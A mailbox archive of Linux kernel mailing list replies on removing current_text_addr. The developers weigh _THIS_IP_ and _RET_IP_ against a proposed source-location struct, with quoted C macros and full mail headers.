Xref: news.gmane.org gmane.linux.kernel.arc:4236 gmane.linux.ports.mips.general:66193 gmane.linux.ports.sh.devel:57409 gmane.linux.kernel:2853640 gmane.linux.ports.m68k:10223 gmane.linux.ports.ia64:29124 gmane.linux.ports.hexagon:1821 gmane.linux.ports.arm.kernel:670225 gmane.linux.ports.parisc:28914 gmane.linux.ports.alpha:5210 gmane.linux.ports.sparc:28238 gmane.linux.ports.riscv:544 gmane.linux.ports.ppc64.devel:161675
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4236>

On Sun, Aug 26, 2018 at 07:52:59PM -0700, Nick Desaulniers wrote:
> On Sun, Aug 26, 2018 at 1:25 PM Linus Torvalds

> > Instead, maybe we could encourage something like
> >
> >   struct kernel_loc { const char *file; const char *fn; int line; };
> >
> >   #define __GEN_LOC__(n) \
> >         ({ static const struct kernel_loc n = { \
> >                 __FILE__, __FUNCTION__, __LINE__  \
> >            }; &n; })
> >
> >   #define _THIS_LOC_ __GEN_LOC__(__UNIQUE_ID(loc))
> >
> > which is a hell of a lot nicer to use, and actually allows gcc to
> > optimize things (try it: if you pass a _THIS_LOC_ off to an inline
> > function, and that inline function uses the name and line number, gcc
> > will pick them up directly, without the extra structure dereference.
> >
> > Wouldn't it be much nicer to pass these kinds of "location pointer"
> > around, rather than the nasty _THIS_IP_ thing?
> >
> > Certainly lockdep looks like it could easily take that "const struct
> > kernel_loc *" instead of "unsigned long ip". Makes it easy to print
> > out the lockdep info.

> This is extremely reasonable.  I can follow up with the lockdep folks
> to see if they really need _THIS_IP_ to solve their problem, or if
> there's a simpler solution that can solve their needs.  Sometimes
> taking a step back and asking for clarity around the big picture
> allows simpler solutions to shake out.

What problem are we trying to solve? _THIS_IP_ and _RET_IP_ work fine.
We're 'good' at dealing with text addresses, we use them for call stacks
and all sorts. Why does this need changing?

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicholas Piggin <npiggin@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Mon, 27 Aug 2018 17:43:43 +1000
Lines: 63
Approved: news@gmane.org
Message-ID: <20180827161121.07aa9da6@roar.ozlabs.ibm.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
        <20180821202900.208417-1-ndesaulniers@google.com>
        <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
        <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
        <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
        <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
        <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
        <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535355714 15548 195.159.176.226 (27 Aug 2018 07:41:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 07:41:54 +0000 (UTC)
Cc: Peter Anvin <hpa@zytor.com>, Helge Deller <deller@gmx.de>,
        Nick Desaulniers <ndesaulniers@google.com>,
        linux-alpha@vger.kernel.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        linux-arm-kernel <linux-arm-kernel@lists.infradead.org>,
        linux-c6x-dev@linux-c6x.org,
        "moderated list:H8/300 ARCHITECTURE" 
        <uclinux-h8-devel@lists.sourceforge.jp>,
        linux-hexagon@vger.kernel.org,
        "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
        "Linux/m68k" <linux-m68k@vger.kernel.org>,
        linux-mips <linux-mips@linux-mips.org>,
        "moderated list:NIOS2 ARCHITECTURE" 
        <nios2-dev@lists.rocketboards.org>, openrisc@lists.librecores.org,
        Parisc List <linux-parisc@vger.kernel.org>,
        ppc-dev <linuxppc-dev@lists.ozlabs.org>,
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 27 09:41:48 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fuC9k-0002W1-3g
	for glk-linux-kernel-4@m.gmane.org; Mon, 27 Aug 2018 09:41:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727305AbeH0L3Z (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 27 Aug 2018 07:29:25 -0400
Original-Received: from mail-pg1-f193.google.com ([209.85.215.193]:38113 "EHLO
        mail-pg1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726978AbeH0L3Z (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 27 Aug 2018 07:29:25 -0400
Original-Received: by mail-pg1-f193.google.com with SMTP id e2-v6so1621136pgv.5;
        Mon, 27 Aug 2018 00:43:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:in-reply-to:references
         :mime-version:content-transfer-encoding;
        bh=FATUuEn4ZktRkYrfHP8JXWFnuJYiqWxAAu/i4BXuczo=;
        b=mxmYkQqrEL1Q+Dm21YAWMAN6kAQOyVIumkyW1gJE4RcxIzvbiU1IV48ROMjm4JU/V3
         InpcYpaJsOi0KXVzbfPT8Az0mTEWIAQ8XwWnP1Y+Dvabcz/w+BYJ1MJFq0VlBw03Y7NR
         Gc3cWKYA9kWNaqtgUD9C7K4PqqWJh/FxZNbjR7Zt4mpu1IVY001Z+Wvy5oflgm5ep/PD
         XDaE0TtHJPnFo6D+W70t97D2FPGhpgKux17ibZi39Ya93vUP9Yjv+9K9RdwoCDgfkV15
         6nlB0SlWLqjQbPfYqiJLfqxNWRKVaBhgg03KNaNvmuUXlECafEwlbVKVcKJz39jZVogI
         uMIg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:in-reply-to
         :references:mime-version:content-transfer-encoding;
        bh=FATUuEn4ZktRkYrfHP8JXWFnuJYiqWxAAu/i4BXuczo=;
        b=lH48/osxENc1V2SRnsmmD3MeSfrFPvnm6o0l8HoPmUGnKwQT9bdt+zGe0zpL/e1kz4
         hmDN3TfiorsFbmppqc32oK/abf48byO6ayxPbSR//oWobfvH5q4i2nyBOuGlbKRSYEUz
         00Ozu0akbrC3exuiiY+Dax9uckc2njz+uC2BJ5aYHiqmfs9hnIhenUED+Fyll9ELGNy/
         Nc4jxxTg0FbjtYSl2MsovJVsltCV/uW8uFvc9Xoc9cFKHmpFdV5nsNW9+tQ1Zf60Ju55
         2QpEgHhOhPhwZrhIvhdjP9wul/f9cIkrJpIlIyAnOK8gsHnJ0wQsx/lXPKF2Ix28Nd3p
         z+vA==
X-Gm-Message-State: APzg51B1aK57/aEJIZmOdBDb6VV8s7dCsqlVKsa7F8stKoG+sH/dzx3/
        a6xJT0oDjcxWjJoyqqNUU0w=
X-Google-Smtp-Source: ANB0VdZmkOKZnLtrqsdn4RgYlVkLHvgY0wfTEqh9zRZb7NQFVp40wPhrJMs92Klp505EJpTH1hXSEg==
X-Received: by 2002:a63:170e:: with SMTP id x14-v6mr10871115pgl.364.1535355835926;
        Mon, 27 Aug 2018 00:43:55 -0700 (PDT)
Original-Received: from roar.ozlabs.ibm.com (59-102-83-192.tpgi.com.au. [59.102.83.192])
        by smtp.gmail.com with ESMTPSA id v23-v6sm18926132pfm.80.2018.08.27.00.43.47
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 27 Aug 2018 00:43:55 -0700 (PDT)
In-Reply-To: <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
X-Mailer: Claws Mail 3.17.0 (GTK+ 2.24.32; x86_64-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2853647 gmane.linux.ports.alpha:5211 gmane.linux.kernel.arc:4237 gmane.linux.ports.arm.kernel:670228 gmane.linux.ports.hexagon:1822 gmane.linux.ports.ia64:29125 gmane.linux.ports.m68k:10224 gmane.linux.ports.mips.general:66194 gmane.linux.ports.parisc:28915 gmane.linux.ports.ppc64.devel:161676 gmane.linux.ports.riscv:545 gmane.linux.ports.sh.devel:57410 gmane.linux.ports.sparc:28239
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2853647>

[ Trimmed the cc list because my SMTP didn't accept that many
addresses. ]

On Sun, 26 Aug 2018 13:25:14 -0700
Linus Torvalds <torvalds@linux-foundation.org> wrote:

> On Sun, Aug 26, 2018 at 12:32 PM H. Peter Anvin <hpa@zytor.com> wrote:
> >
> > Here is a full-blown (user space) test program demonstrating the whole
> > technique and how to use it.  
> 
> So while I agree that some _THIS_IP_ users might be better off being
> converted to __builtin_return_address(0) at the caller, I also think
> that the whole "notailcall" thing shows why that can easily be more
> problematic than just our currnet _THIS_IP_ solution.
> 
> Honestly, I'd suggest:
> 
>  - just do the current_text_addr() to _THIS_IP_ conversion
> 
>  - keep _THIS_IP_ and make it be the generic one, and screw the whole
> "some architectures might implement is better" issue. Nobody cares.
> 
>  - try to convince people to move away from the "we want the kernel
> instruction pointer for the call" model entirely, and consider this a
> "legacy" issue.
> 
> The whole instruction pointer is a nasty thing. We should discourage
> it and not make complex infrastructure for it.
> 
> Instead, maybe we could encourage something like
> 
>   struct kernel_loc { const char *file; const char *fn; int line; };
> 
>   #define __GEN_LOC__(n) \
>         ({ static const struct kernel_loc n = { \
>                 __FILE__, __FUNCTION__, __LINE__  \
>            }; &n; })
> 
>   #define _THIS_LOC_ __GEN_LOC__(__UNIQUE_ID(loc))
> 
> which is a hell of a lot nicer to use, and actually allows gcc to
> optimize things (try it: if you pass a _THIS_LOC_ off to an inline
> function, and that inline function uses the name and line number, gcc
> will pick them up directly, without the extra structure dereference.
> 
> Wouldn't it be much nicer to pass these kinds of "location pointer"
> around, rather than the nasty _THIS_IP_ thing?

Seems nice. Do you even need this unique ID thing? AFAIKS the name
would never really be useful.

It could perhaps go into a cold data section too, I assume the common
case is that you do not access it. Although gcc will end up putting
the file and function names into regular rodata.

Possibly we could add a printk specifier for it, pass it through to
existing BUG, etc macros that want exactly this, etc. Makes a lot of
sense.

Thanks,
Nick


From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Mon, 27 Aug 2018 05:26:53 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <f9896d68-4a49-e666-cea5-a9c0522f1658@zytor.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
 <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
 <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
 <20180827073358.GV24124@hirez.programming.kicks-ass.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535373168 2035 195.159.176.226 (27 Aug 2018 12:32:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 12:32:48 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: nicolas.pitre@linaro.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 Will Deacon <will.deacon@arm.com>, paulus@samba.org, mpe@ellerman.id.au,
 jejb@parisc-linux.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 mattst88@gmail.com, uclinux-h8-devel@lists.sourceforge.jp,
 Marc Zyngier <marc.zyngier@arm.com>, linuxram@us.ibm.com,
 linux-um@lists.infradead.org, Nicholas Piggin <npiggin@gmail.com>,
 luto@kernel.org, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org, rth@twiddle.net,
 jkosina@suse.cz, LKML <linux-kernel@vger.kernel.org>, ralf@linux-mips.org,
 rkuo@codeaurora.org, paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
 Greg KH <gregkh@linuxfoundation.org>,
 Andrew Morton <akpm@linux-foundation.org>,
 Linus Torvalds <torvalds@linux-f
To: Peter Zijlstra <peterz@infradead.org>,
 Nick Desaulniers <ndesaulniers@google.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Aug 27 14:32:34 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fuGh7-00005B-8Y
	for gla-linux-snps-arc@m.gmane.org; Mon, 27 Aug 2018 14:32:33 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=TRprHUpOKAH3klSD43k8CQZUKthpsfvhmBs8xsE+/sM=; b=Rjy4JQpcep1wsU
	hBrf+gpHzqG8oKzw+DONiFGaCwt+Yl96n6M5mZIFceTNWCg5yvDwSsxuHznCY7k0UbArLrMYawx6T
	TVBchDWbDt7Ai7lp27b/kUf4XW32HrZSzwnYebYrK1hBRF3pUw47B8o/YGrY33ni7AR9I2OJEUVQ1
	GuwY6iuU5MITYJv8Lvfx4QsGwHAko+Hb9SnHpViaENZj8g/m3dBxrxwCaebCoYFFGtDb0wmLo5J7Y
	tom5v4vYHmQ/axV2lGSolxrXoXDz9LyiLP8Lmt+dni03FgQC3gXKERQt80luVL73JiNNoZZSpnTuc
	RBmJtpToRkyM7NjJXGbg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fuGjC-0000ku-Tv; Mon, 27 Aug 2018 12:34:42 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fuGj8-0000VC-Qt; Mon, 27 Aug 2018 12:34:40 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7RCQw60572012
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Mon, 27 Aug 2018 05:26:59 -0700
In-Reply-To: <20180827073358.GV24124@hirez.programming.kicks-ass.net>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180827_053439_111048_CFCE3765 
X-CRM114-Status: GOOD (  12.77  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4238 gmane.linux.ports.mips.general:66196 gmane.linux.ports.sh.devel:57411 gmane.linux.kernel:2853878 gmane.linux.ports.m68k:10225 gmane.linux.ports.ia64:29130 gmane.linux.ports.hexagon:1824 gmane.linux.ports.arm.kernel:670314 gmane.linux.ports.parisc:28916 gmane.linux.ports.alpha:5212 gmane.linux.ports.sparc:28241 gmane.linux.ports.riscv:546 gmane.linux.ports.ppc64.devel:161686
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4238>

On 08/27/18 00:33, Peter Zijlstra wrote:
> 
> What problem are we trying to solve? _THIS_IP_ and _RET_IP_ work fine.
> We're 'good' at dealing with text addresses, we use them for call stacks
> and all sorts. Why does this need changing?
> 

_RET_IP_ works fine, with the following two caveats:

1. To get a unique IP for each call site, the function call needs to be
   tailcall protected (easily done by wrapping the function in an
  __always_inline function with the notailcall() function I described
  earlier.  Alternatively, a generic macro wrapper for the same thing:

  #define notailcall(x) ({ typeof(x) _x = (x); asm volatile("");  _x; })

2. To uniformly get the return IP, it needs to be defined as:

#define _RET_IP_((unsigned long) \
__builtin_extract_return_addr(__builtin_return_address(0)))

[sorry for the line wrapping]

Using the type unsigned long instead of void * seems kind of pointless
though.


_THIS_IP_, however, is completely ill-defined, other than being an
address *somewhere* in the same global function (not even necessarily
the same function if the function is static!)  As my experiment show, in
many (nearly) cases gcc will hoist the address all the way to the top of
the function, at least for the current generic implementation.

For the case where _THIS_IP_ is passed to an out-of-line function in all
cases, it is extra pointless because all it does is increase the
footprint of every caller: _RET_IP_ is inherently passed to the function
anyway, and with tailcall protection it will uniquely identify a callsite.

For the case where _THIS_IP_ is used inline, I believe the version I
described will at the very least avoid hoisting around volatile accesses
like READ_ONCE(). Surrounding the marked code with asm volatile("");
[which should be turned into a macro or inline, obviously] might be
necessary for it to make any kind of inherent sense.

The proposed "location identifier" does have a serious problem: with
inline functions you might very well have a bunch of duplicates pointing
into the inline function, so a single callsite isn't identifiable.

	-hpa

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Mon, 27 Aug 2018 15:11:03 +0200
Lines: 561
Approved: news@gmane.org
Message-ID: <20180827131103.GD24124@hirez.programming.kicks-ass.net>
References: <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
 <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
 <CAKwvOd=wAaPBkFHAcWxgMW91a--9gbvu7xrt3j-q8c+-mT=7Lw@mail.gmail.com>
 <20180827073358.GV24124@hirez.programming.kicks-ass.net>
 <f9896d68-4a49-e666-cea5-a9c0522f1658@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535375371 10342 195.159.176.226 (27 Aug 2018 13:09:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Aug 2018 13:09:31 +0000 (UTC)
User-Agent: Mutt/1.10.0 (2018-05-17)
Cc: nicolas.pitre@linaro.org, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, benh@kernel.crashing.org,
 Will Deacon <will.deacon@arm.com>, paulus@samba.org, mpe@ellerman.id.au,
 jejb@parisc-linux.org, Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 mattst88@gmail.com, uclinux-h8-devel@lists.sourceforge.jp,
 Marc Zyngier <marc.zyngier@arm.com>, linuxram@us.ibm.com,
 linux-um@lists.infradead.org, Nicholas Piggin <npiggin@gmail.com>,
 luto@kernel.org, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org, rth@twiddle.net,
 jkosina@suse.cz, Nick Desaulniers <ndesaulniers@google.com>,
 LKML <linux-kernel@vger.kernel.org>, ralf@linux-mips.org, rkuo@codeaurora.org,
 paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
 Greg KH <gregkh@linuxfoundation.org>,
 Andrew Morton <akpm@linux-found
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Aug 27 15:09:18 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fuHGf-0002Nj-99
	for gla-linux-snps-arc@m.gmane.org; Mon, 27 Aug 2018 15:09:17 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=9bz4jyW0Z5dpUVNwHdvZ7+z/gVt4pyhzVtbUZlvnvGY=; b=KwGdaxpjW5nR6t
	M3cMwWACk7wna4KAvGYPdGE52GDuwFVRhGyWcnEzftrsDNBW24bV86dl1bCNW/Fp6VYZIWzSt9/et
	I9SRp4RSIG8ipB63Vr3ASNOkI7bHiqfnBu1A4r3kg4DAWQTReN1lxnsiTJQ9CoVddFTOPDeB6PAVw
	80xqKjNshidAgsW35OngNqtfp0rCk+8+tBAWnqL0KiqmOmE3FGM9qkOGZ+4hOddPQQbZCmWfXKMW5
	/A5nkBdgSF3YbRhZeFuzxlyFPdLsazmJuEwc5y0zSeitXmzYVjhzMxkcPJctPK123hm6beBzIp4pC
	JrVSKw5vm2CM2Vq1rLOg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fuHIj-0007um-E1; Mon, 27 Aug 2018 13:11:25 +0000
Original-Received: from merlin.infradead.org ([2001:8b0:10b:1231::1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fuHIh-0007uJ-LN; Mon, 27 Aug 2018 13:11:24 +0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=merlin.20170209; h=In-Reply-To:Content-Type:MIME-Version:
 References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=W2kFav+tISeUiF4xuKT/1U5U/nZGGdDqButdlebJ4xQ=; b=nv1YADPux/OkwuqrYeAIX5V9f
 1AY7sBt67pG3AU6vQNU0SChiqpzQs+u9kG8LjHOYb73uIGpXoU2yo/zTc2irtg8U7x7xd0Xbn68E1
 PSEQJeEjLzQpvkgIkrPtbio3CkcccKpY3u6Wxr2Dpk6Lk7a9OPmX0THHQIxRa/3cEXq5yo0sBW2V+
 NSwVCglxGEkMPkJgW1rKFklkNpW5YBEgWR08pzH1seyyAymYgK40szZoV0BI2V2zKOLBznHpGTmVP
 dlGzqHD/KO2M00u/UsfwmEhp3nNS/jHfluyV99luYCNqyJG/dDA9u5AZXLHu5LTZpn75DfJYJ5Ek2
 fTLR8Q2/A==;
Original-Received: from j217100.upc-j.chello.nl ([24.132.217.100]
 helo=hirez.programming.kicks-ass.net)
 by merlin.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fuHIP-0002Ka-Ic; Mon, 27 Aug 2018 13:11:06 +0000
Original-Received: by hirez.programming.kicks-ass.net (Postfix, from userid 1000)
 id 48A5020183827; Mon, 27 Aug 2018 15:11:03 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <f9896d68-4a49-e666-cea5-a9c0522f1658@zytor.com>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
